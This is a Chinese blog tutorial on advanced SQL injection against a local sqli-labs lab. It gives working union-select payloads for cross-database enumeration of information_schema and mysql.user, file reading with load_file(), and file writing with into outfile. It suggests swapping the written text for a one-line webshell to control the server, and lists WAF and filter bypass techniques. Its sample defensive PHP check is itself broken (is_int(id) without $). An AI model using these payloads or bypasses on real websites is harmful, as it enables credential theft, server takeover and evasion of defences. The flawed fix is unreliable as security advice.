Sql注入深入知识以及基本防御(二)

高权限注入

这个是啥意思呢?就是说存在注入点的这个数据库用户的权限是root,就可以高权限注入,非root权限就是低权限注入。

数据库A=网站A=用户A

。。。。。。。。。。
数据库B=网站B=用户B

。。。。。。。。。。
数据库C=网站C=用户C

。。。。。。。。。。

如果用户A是非root权限,那么他操作不了B和C数据库,如果是root权限,那么他就可以跨库进行注入,操作B和C数据库。

root权限能看见所有数据库 普通用户只能看见自己的数据库。

数据库展现

当前我的权限是root所以能看到Mysql下所有的数据库,如果我的权限不是root,那么就只能看见我对应的数据库,而不是所有。

普通用户只能进行数据注入自己网站,root 可以注入其他网站

高权限注入演示

网页

当前网站对应的数据库是上面的security,如果我权限是一个低权限,也就是非root权限,那么我只能注入security这个数据库,而现在我的权限是root,对其他的数据库进行跨库注入,在上面可以看到还有一个mysql数据库,我们对他进行跨库注入;

假设我们现在不知道里面所有服务器名字,一步一步来。

先获得所有数据库名字:

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,3

这里上一个细说过,就不截图了,发现爆出点是2,3

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

爆出数据库名

这里解释一下这个注入语句 为什么是 schema_name  列出数据库名 而不是昨天讲的table_schema数据库名

因为我们现在使用到了information_schema数据库下名为schemata的表里的schema_name列里的内容,

这个列就是放数据库名字用的。

获得指定mysql数据库下的表明信息

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’mysql’

爆出表明

经过发现这些表里有一个user的表明,很明显,账密都在里面,于是进行注入。

获得指定mysql下表名user下的列名信息

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’user’ and table_schema=’mysql’

这里解释一下为什么要两个where,因为这个user的表可能不止mysql里有,而是很多表里都有,所以再加一个限定条件,数据库名字是mysql同时表名是 user 的列名信息;

爆出user下字段

这里可以看见爆出的列有很多

接下来就爆出列里面的具体内容,演示就拿前两个来做例子,Host和User

获得指定mysql下user里Host和User的数据

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(Host),group_concat(User) from mysql.user

跨库完成

跨库注入完成

解惑: 为什么这里是from qqyw.admin 因为这是跨库注入 现在不在qqyw这个数据库中,而是在别的数据库里,所以要注明这个库名。

文件读写 load_file()读取函数  与 into outfile 或者 into dumpfile 两个 写入函数

load_file()读取函数

这里先以mysql的角度使用一次,下面再用注入方式进行一次。

我在E盘下创建该read.txt

txt

进行读取:

读取

读取成功,接下来利用sql注入攻击进行读取;

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,load_file(‘e:/read.txt’),3

sql_load_file

这里因为编码问题,乱码了,问题不大,成功读取了反正。

这个在实战中有什么用处?这个路径是由讲究的,读取一些配置文件获得系统信息等,有人整理好了,我贴出来:系统敏感路径

路劲有两种存放方式,第一种服务器默认路径,第二种就是随机路径,可能是人安排的,也可能是根据环境自己随机默认的,下面介绍几个实战中路径获取的常见方法。

路径获取常见方法:

报错显示,遗留文件,漏洞报错,平台配置文件,爆破等

报错显示:

报错路径

我自己的网站之前就是这个。

遗留文件:站长调试用的,遗留出来的。

遗留文件

我这里找了一个,这就是站长调试用的遗留文件,可以看到路径。

漏洞报错:你知道这个网站采用什么搭建的网上去搜该类型报错

比如wordpress zblog

这个不上截图了。就是访问对应路径,构造对应payload让网站报错,获得路径。

平台配置文件:

          有的路径是根据环境来的

服务路径

爆破:

利用字典进行爆破,比如sqlmap里面就有字典。

sqlmap

操作系统常规默认路径:

windos: d:/wwwroot/aaaa/

Linux : /var/www/aaaaa

知道路径后就直接读取就行了,路径如果用\写路径 要\\ 防转义 如果/就不用了。

写入操作 into outfile 或者 into dumpfile 两个 导出函数

不需要路径

直接写代码 写后门;

演示:http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,’x’ ,3 into outfile ‘e:/write.txt’ –+

这里的–+是把后面的注释掉 不然会报错

write

写入成功!

x可以替换掉 一句话木马,就能控制目标服务器。

写入出现的问题–魔术符号

如果网站没有开魔术符号,那么我们上述的读取写入都可以正常进行,如果开了,那就要想法子绕了。

魔术引号开关:magic_quote_gpc

在php.ini…..md找半天没找到 一查资料被移除了 草。

那我就不复现了

服

这个功能的意思:

在magic_quotes_gpc=On的情况下,如果输入的数据有

单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。

正是因为这个选项必须为On,但是又让用户进行配置的矛盾,在PHP6中删除了这个选项,一切的编程都需要在magic_quotes_gpc=Off下进行了。在这样的环境下如果不对用户的数据进行转义,后果不仅仅是程序错误而已了。同样的会引起数据库被注入攻击的危险。所以从现在开始大家都不要再依赖这个设置为On了,以免有一天你的服务器需要更新到PHP6而导致你的程序不能正常工作。

就是防注入,毛用没有,山路十八弯种绕过他的方式。

比如:编码 宽字节 绕过 16进制编码,治标不治本。

原理:用编码 不用 那些特定符号 相当于失效;

而这些编码Mysql还是能够正常解析的;

php还有一个函数 addslashes() 跟这个意思一样 ,反正毛用没有,实战中随便就绕过去了。只有心里作用

其他防御手段以及绕过方式

内置函数:int等 采用的多,比如is_int 判断是不是字符

比如 我上个源码:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

可以看到id的值没有过滤判断 直接给sql进行执行,如果,网站的id值只有整数,没有字符,那么我们可以加个判断 如果不是整数 就拦截 不执行sql命令。

小修一下源码:

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
if(is_int(id))
{
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

}
else
	echo "晚上不睡觉sql注入什么呢?";

失效

可以看到 修改源码后加入判断,不是整数就拦了,这种拦截方法明确的说没有任何绕过方式!

这种就寄了 绕过不了;很常见的过滤

碰到这种情况 直接跑 笑死

实战情况下 这种不多

因为实际种 这个参数很多

程序员为了整洁 好看 方便 写一个全局配置的那种

所以一般不会针对一个参数进行过滤,而且大部分人网名都是字符串,,,红蓝对抗用的多

自定义关键字:用的多

关键字过滤,因为sql有些特殊关键字 必须要有,我们把这个置换掉就好了

用到一个函数:str_replace(‘关键字’,’替换的字符串’,’变量’)

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$id=str_replace('select','fuck',$id);

// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

可以看到id这个变量用了这个函数 我们注入一下看看。

过滤

可以看到关键字以及被过滤了。

绕过方式:大小写,编码

比如我刚这个你把select换成Select就绕过了

这个绕过方式主要还要看程序员有没有偷懒。

其余最多就是WAF

大部分防护软件都是基于 内置函数 自定义关键字进行防护;

绕过思路:

  • 更改提交方法
  • 大小写混合
  • 解密编码类
  • 注释符混用
  • 等价函数替换
  • 特殊符号混用
  • 借助数据库特性
  • HTTP参数污染
  • 垃圾数据溢出

都是为了打乱waf匹配规则,你锁关键字我换关键字或者编码绕,符号掺着用,迷糊你waf,你锁关键函数,我换个作用差不多的函数,你有语句检测,我多往里面扔点垃圾语句,或者多塞点语句,几个G我看你怎么检测。

总之 道高一尺魔高一丈,红蓝对抗从未停止,防御升级,进攻也升级。

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论